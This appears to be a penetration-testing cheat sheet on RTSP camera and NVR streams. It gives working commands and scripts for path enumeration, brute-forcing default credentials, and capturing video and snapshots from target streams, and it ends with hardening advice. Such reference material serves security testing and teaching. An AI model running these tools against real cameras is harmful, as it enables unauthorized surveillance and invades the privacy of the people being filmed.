Overview

RTSP (Real Time Streaming Protocol, RFC 2326) is an application-layer protocol for controlling media streaming servers. It is used extensively in IP cameras, NVRs (Network Video Recorders), DVRs, media servers, and surveillance infrastructure. RTSP is commonly found on port 554 and is frequently misconfigured to allow unauthenticated stream access. Exposed RTSP streams are a significant privacy and security risk in corporate, industrial, and residential environments.

Default Ports:

PortService
554RTSP (standard)
8554RTSP (alternative)
8080RTSP over HTTP tunneling
1935RTMP (related streaming protocol)

Protocol Overview

RTSP is a stateful protocol that uses HTTP-like methods:

MethodDescription
OPTIONSQuery available methods
DESCRIBEGet stream information (SDP response)
SETUPEstablish transport parameters
PLAYStart stream delivery
PAUSEPause stream
TEARDOWNEnd session
ANNOUNCESend SDP to server
GET_PARAMETERQuery parameters (often used as ping)

Recon and Fingerprinting

Nmap

# Service detection
nmap -sV -p 554,8554,8080 TARGET_IP

# RTSP-specific scripts
nmap -p 554 --script rtsp-methods TARGET_IP
nmap -p 554 --script rtsp-url-brute TARGET_IP

# Aggressive scan
nmap -sV -sC -p 554 TARGET_IP

Manual OPTIONS Request

# Send RTSP OPTIONS to enumerate methods
printf 'OPTIONS rtsp://TARGET_IP:554/ RTSP/1.0\r\nCSeq: 1\r\n\r\n' | nc TARGET_IP 554

# Using curl
curl -v --rtsp-request OPTIONS rtsp://TARGET_IP:554/

# Check with specific path
printf 'OPTIONS rtsp://TARGET_IP:554/live RTSP/1.0\r\nCSeq: 1\r\n\r\n' | nc -q3 TARGET_IP 554

DESCRIBE Request — Stream Information and SDP Analysis

# Get stream SDP (contains codec info, resolution, frame rate)
printf 'DESCRIBE rtsp://TARGET_IP:554/ RTSP/1.0\r\nCSeq: 1\r\nAccept: application/sdp\r\n\r\n' | nc TARGET_IP 554

# With curl
curl -v --rtsp-request DESCRIBE --rtsp-stream-uri rtsp://TARGET_IP:554/

# Multiple path attempts
for path in "/" "/live" "/stream" "/live/ch00_0" "/ch0" "/video" "/media/video1" "/axis-media/media.amp" "/cam/realmonitor" "/h264/ch1/main/av_stream" "/Streaming/Channels/1"; do
  CODE=$(printf "DESCRIBE rtsp://TARGET_IP:554$path RTSP/1.0\r\nCSeq: 1\r\nAccept: application/sdp\r\n\r\n" | nc -q3 TARGET_IP 554 2>/dev/null | head -1)
  echo "$path: $CODE"
done

SDP Analysis

A successful DESCRIBE response returns an SDP (Session Description Protocol) body. Analyze it before opening the video stream — it reveals device capabilities and exact codec configuration:

# Example SDP response (annotated):
v=0
o=- 1234567890 1234567890 IN IP4 TARGET_IP
s=Session                        # Session name — sometimes contains device model
t=0 0
m=video 0 RTP/AVP 96             # Media type=video, payload type=96 (dynamic)
a=rtpmap:96 H264/90000           # Codec=H.264, RTP clock=90000 Hz
a=fmtp:96 packetization-mode=1; profile-level-id=42e01f
#                                # profile-level-id=42e01f → Baseline Profile L3.1
#                                # Used to fingerprint firmware generation
a=control:trackID=1
m=audio 0 RTP/AVP 8              # Audio track: payload 8 = PCMA (G.711 A-law)
a=rtpmap:8 PCMA/8000

Key fields to extract:

  • m=video ... RTP/AVP 96 → media type and payload format number
  • a=rtpmap:96 H264/90000 → codec and clock rate (H.264 at 90kHz is standard)
  • a=fmtp:96 profile-level-id=... → exact H.264 profile fingerprint, useful for device model identification
  • s= session name → sometimes contains vendor/model strings
  • a=control: → sub-stream URIs for SETUP requests

Unauthenticated Stream Access

Testing Anonymous Access

# VLC direct stream test (no credentials)
vlc rtsp://TARGET_IP:554/

# ffprobe — get stream info without playing
ffprobe -v quiet -print_format json -show_streams "rtsp://TARGET_IP:554/" 2>&1

# ffmpeg stream capture (save 10 seconds)
ffmpeg -rtsp_transport tcp -i "rtsp://TARGET_IP:554/" -t 10 -c copy output.mp4

# GStreamer
gst-launch-1.0 rtspsrc location=rtsp://TARGET_IP:554/ ! decodebin ! autovideosink

Check for Auth Requirements

# No auth attempt
printf 'DESCRIBE rtsp://TARGET_IP:554/live RTSP/1.0\r\nCSeq: 1\r\n\r\n' | nc -q3 TARGET_IP 554

# If 401 returned, check WWW-Authenticate header for digest/basic
# If 200 returned, no auth required — stream is open

Default Credentials on Cameras and NVRs

Most IP cameras and NVRs ship with well-known default credentials.

Common Default Credentials

VendorUsernamePasswordNotes
Hikvision (legacy, pre-2016)admin12345Legacy firmware / old stock only
Hikvision (post-2015/2016)admin(set on first boot)Activation required — no default password
Dahua (older firmware)adminadminLegacy only
Dahua (newer firmware)admin(set on first login)Forced password change on first access; some models use empty password on first activation
Axisrootpass / adminVaries by firmware version
Boschadmin(blank)
Hanwha/Samsungadmin4321
Vivotekroot(blank)
Foscamadmin(blank)
Reolinkadmin(blank)
Amcrestadminadmin
Q-Seeadminadmin

Hikvision activation model: Devices manufactured after approximately 2015/2016 ship without a default password and require activation (setting a password) on first boot via the web UI, iVMS-4200 client, or SADP tool. A factory reset returns the device to “unactivated” state — not to admin:12345. The admin:12345 credential only works on genuine legacy firmware or uninitialized old stock.

Dahua newer firmware: Forces a password change on first login. Some models use admin: (empty password) only on the very first activation before the change is applied.

Credential Brute Force with curl

# Basic auth test
for cred in "admin:admin" "admin:12345" "admin:password" "admin:" "root:root" "root:pass" "user:user"; do
  user=$(echo $cred | cut -d: -f1)
  pass=$(echo $cred | cut -d: -f2)
  RESULT=$(curl -s -o /dev/null -w "%{http_code}" \
    --rtsp-request DESCRIBE \
    --rtsp-stream-uri "rtsp://TARGET_IP:554/" \
    -u "$user:$pass" \
    --max-time 5)
  echo "$cred -> $RESULT"
done

Stream URL Path Enumeration

RTSP cameras use non-standard paths depending on vendor and firmware.

Common Vendor Path Patterns

# Hikvision
# rtsp://TARGET_IP:554/Streaming/Channels/1
# rtsp://TARGET_IP:554/Streaming/Channels/101
# rtsp://TARGET_IP:554/h264/ch1/main/av_stream
# rtsp://TARGET_IP:554/h264/ch1/sub/av_stream

# Dahua
# rtsp://TARGET_IP:554/cam/realmonitor?channel=1&subtype=0
# rtsp://TARGET_IP:554/cam/realmonitor?channel=1&subtype=1

# Axis
# rtsp://TARGET_IP:554/axis-media/media.amp
# rtsp://TARGET_IP:554/axis-media/media.amp?videocodec=h264

# Bosch
# rtsp://TARGET_IP:554/rtsp_tunnel?h26x=4&line=1&inst=1

# Samsung/Hanwha
# rtsp://TARGET_IP:554/profile1/media.smp

# Generic
# rtsp://TARGET_IP:554/live/ch00_0
# rtsp://TARGET_IP:554/live/main
# rtsp://TARGET_IP:554/stream1
# rtsp://TARGET_IP:554/video
# rtsp://TARGET_IP:554/1

SecLists Wordlists for RTSP Path Enumeration

# SecLists contains RTSP-specific path wordlists:
ls /usr/share/seclists/Miscellaneous/ | grep -i rtsp
# Primary file: rtsp_paths.txt

# Use with cameradar (preferred)
docker run --net=host -t ullaakut/cameradar -t TARGET_IP \
  --custom-routes /usr/share/seclists/Miscellaneous/rtsp_paths.txt

# Use with custom bash script (see below)
WORDLIST="/usr/share/seclists/Miscellaneous/rtsp_paths.txt"

Automated Path Brute Force

#!/bin/bash
TARGET="TARGET_IP"
PORT="554"

PATHS=(
    "/"
    "/live"
    "/stream"
    "/video"
    "/1"
    "/h264"
    "/live/ch00_0"
    "/live/main"
    "/Streaming/Channels/1"
    "/Streaming/Channels/101"
    "/h264/ch1/main/av_stream"
    "/cam/realmonitor?channel=1&subtype=0"
    "/axis-media/media.amp"
    "/stream1"
    "/ch0"
    "/channel1"
    "/media/video1"
    "/video1"
    "/mpeg4/1/media.amp"
    "/onvif/media_service"
    "/rtsp"
    "/live.sdp"
    "/stream.sdp"
    "/media.sdp"
)

echo "[*] Testing RTSP paths on $TARGET:$PORT"
for path in "${PATHS[@]}"; do
    RESPONSE=$(printf "DESCRIBE rtsp://$TARGET:$PORT$path RTSP/1.0\r\nCSeq: 1\r\nAccept: application/sdp\r\n\r\n" | nc -q3 $TARGET $PORT 2>/dev/null)
    STATUS=$(echo "$RESPONSE" | head -1 | awk '{print $2}')
    if [[ "$STATUS" == "200" ]]; then
        echo "[+] OPEN (200): rtsp://$TARGET:$PORT$path"
    elif [[ "$STATUS" == "401" ]]; then
        echo "[AUTH] 401: rtsp://$TARGET:$PORT$path"
        echo "$RESPONSE" | grep -i "WWW-Authenticate"
    fi
done

RTSPS — RTSP over TLS

RTSPS is an encrypted variant of RTSP, typically on port 322 or 2022. It is rarely implemented correctly on consumer and mid-range IP cameras.

# Test RTSPS stream access
ffplay rtsps://TARGET_IP:322/stream
ffplay rtsps://TARGET_IP:2022/stream

# ffmpeg with TLS certificate validation disabled
ffmpeg -rtsp_flags +prefer_tcp -i "rtsps://TARGET_IP:322/live" -t 10 -c copy output.mp4

# Check TLS certificate details
openssl s_client -connect TARGET_IP:322 </dev/null 2>&1 | grep -E "subject|issuer|NotAfter|Protocol"

Common misconfigurations on consumer devices:

  • Self-signed or factory-default certificates (easy to identify and MitM)
  • TLS 1.0 or TLS 1.1 still accepted (deprecated, attackable)
  • Expired certificates with no revocation checking
  • Certificate CN does not match the device IP/hostname (certificate pinning not enforced)

cameradar — Automated RTSP Discovery

# Install cameradar
docker pull ullaakut/cameradar

# Basic scan
docker run --net=host -t ullaakut/cameradar -t TARGET_IP

# Scan network range
docker run --net=host -t ullaakut/cameradar -t 192.168.1.0/24

# Custom timeout
docker run --net=host -t ullaakut/cameradar -t TARGET_IP --timeout 5

# Output results to file
docker run --net=host -t ullaakut/cameradar -t TARGET_IP 2>&1 | tee rtsp_scan.txt

cameradar automates:

  • RTSP port scanning
  • Path enumeration (uses a built-in wordlist)
  • Credential brute force
  • Stream accessibility verification

Stream Capture and Analysis

ffmpeg — Stream Recording

# Record stream to file (30 seconds)
ffmpeg -rtsp_transport tcp \
  -i "rtsp://TARGET_IP:554/live" \
  -t 30 \
  -vcodec copy \
  -acodec copy \
  captured_stream.mp4

# With credentials
ffmpeg -rtsp_transport tcp \
  -i "rtsp://admin:admin@TARGET_IP:554/stream" \
  -t 60 \
  -vcodec copy captured.mp4

# Extract single frame (snapshot)
ffmpeg -rtsp_transport tcp \
  -i "rtsp://TARGET_IP:554/live" \
  -frames:v 1 \
  -f image2 \
  snapshot_%03d.jpg

# Get stream metadata without capturing
ffprobe -v error \
  -select_streams v:0 \
  -show_entries stream=width,height,codec_name,r_frame_rate \
  -of json \
  "rtsp://TARGET_IP:554/live"

Python RTSP Stream Capture

#!/usr/bin/env python3
"""RTSP stream snapshot capture using OpenCV."""
import cv2
import sys
import os

def capture_rtsp(url, output_dir="rtsp_captures", num_frames=5):
    os.makedirs(output_dir, exist_ok=True)

    # Try connection
    cap = cv2.VideoCapture(url)
    if not cap.isOpened():
        print(f"[-] Cannot open stream: {url}")
        return False

    info = {
        'width': int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)),
        'height': int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)),
        'fps': cap.get(cv2.CAP_PROP_FPS),
        'codec': int(cap.get(cv2.CAP_PROP_FOURCC)),
    }
    print(f"[+] Stream opened: {info}")

    saved = 0
    attempts = 0
    while saved < num_frames and attempts < 50:
        ret, frame = cap.read()
        if ret and frame is not None:
            filename = f"{output_dir}/frame_{saved:03d}.jpg"
            cv2.imwrite(filename, frame)
            print(f"[+] Saved: {filename}")
            saved += 1
        attempts += 1

    cap.release()
    return saved > 0

# Test URLs
URLS = [
    "rtsp://TARGET_IP:554/",
    "rtsp://TARGET_IP:554/live",
    "rtsp://TARGET_IP:554/stream",
    "rtsp://TARGET_IP:554/Streaming/Channels/1",
]

for url in URLS:
    if capture_rtsp(url):
        print(f"[+] Successfully captured from: {url}")
        break

ONVIF Discovery (Adjacent to RTSP)

Many IP cameras support ONVIF (Open Network Video Interface Forum), which can reveal RTSP URLs via WS-Discovery:

# WS-Discovery broadcast
python3 -c "
import socket
import struct

# WS-Discovery multicast
MCAST_GRP = '239.255.255.250'
MCAST_PORT = 3702
DISCOVERY_MSG = '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<e:Envelope xmlns:e=\"http://www.w3.org/2003/05/soap-envelope\"
  xmlns:w=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\"
  xmlns:d=\"http://schemas.xmlsoap.org/ws/2005/04/discovery\">
  <e:Header>
    <w:MessageID>uuid:test-onvif-discover</w:MessageID>
    <w:To>urn:schemas-xmlsoap-org:ws:2005:04:discovery</w:To>
    <w:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</w:Action>
  </e:Header>
  <e:Body>
    <d:Probe><d:Types>tds:Device</d:Types></d:Probe>
  </e:Body>
</e:Envelope>'''

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.settimeout(3)
sock.sendto(DISCOVERY_MSG.encode(), (MCAST_GRP, MCAST_PORT))
try:
    while True:
        data, addr = sock.recvfrom(65535)
        print(f'Device at {addr}: {data[:500]}')
except socket.timeout:
    pass
"

# python-onvif-zeep to get camera stream URLs
pip3 install onvif-zeep
python3 -c "
from onvif import ONVIFCamera
cam = ONVIFCamera('TARGET_IP', 80, 'admin', 'admin')
media = cam.create_media_service()
profiles = media.GetProfiles()
for p in profiles:
    uri = media.GetStreamUri({'StreamSetup': {'Stream': 'RTP-Unicast', 'Transport': {'Protocol': 'RTSP'}}, 'ProfileToken': p.token})
    print(f'Profile {p.Name}: {uri.Uri}')
"

Metasploit — RTSP Scanning

msfconsole -q

# RTSP scanner
use auxiliary/scanner/rtsp/options
set RHOSTS TARGET_IP
run

# RTSP URL brute force
use auxiliary/scanner/rtsp/rtsp_login
set RHOSTS TARGET_IP
set RPORT 554
run

Security Implications

FindingRisk
Unauthenticated streamDirect privacy/surveillance exposure
Authenticated stream (weak creds)Trivial brute force
Camera in sensitive areaCorporate espionage, physical security bypass
RTSP on segmented networkPivot point for lateral movement
Stream replay capabilityDisable by replaying old footage (physical security bypass)

Hardening Recommendations

  • Enable authentication (Digest is preferred over Basic) for all RTSP streams
  • Change default credentials immediately after deployment
  • Restrict RTSP access to authorized IP ranges via firewall
  • Use VPN for remote camera access instead of exposing port 554 publicly
  • Disable RTSP if not needed — use HLS/DASH over HTTPS instead
  • Segment camera networks (dedicated VLAN) and deny internet access
  • Monitor for unauthorized RTSP access via IDS/firewall logs
  • Regularly audit camera firmware for known CVEs (Hikvision, Dahua have had multiple critical vulnerabilities)

Disclaimer: For educational purposes only. Unauthorized access to computer systems is illegal.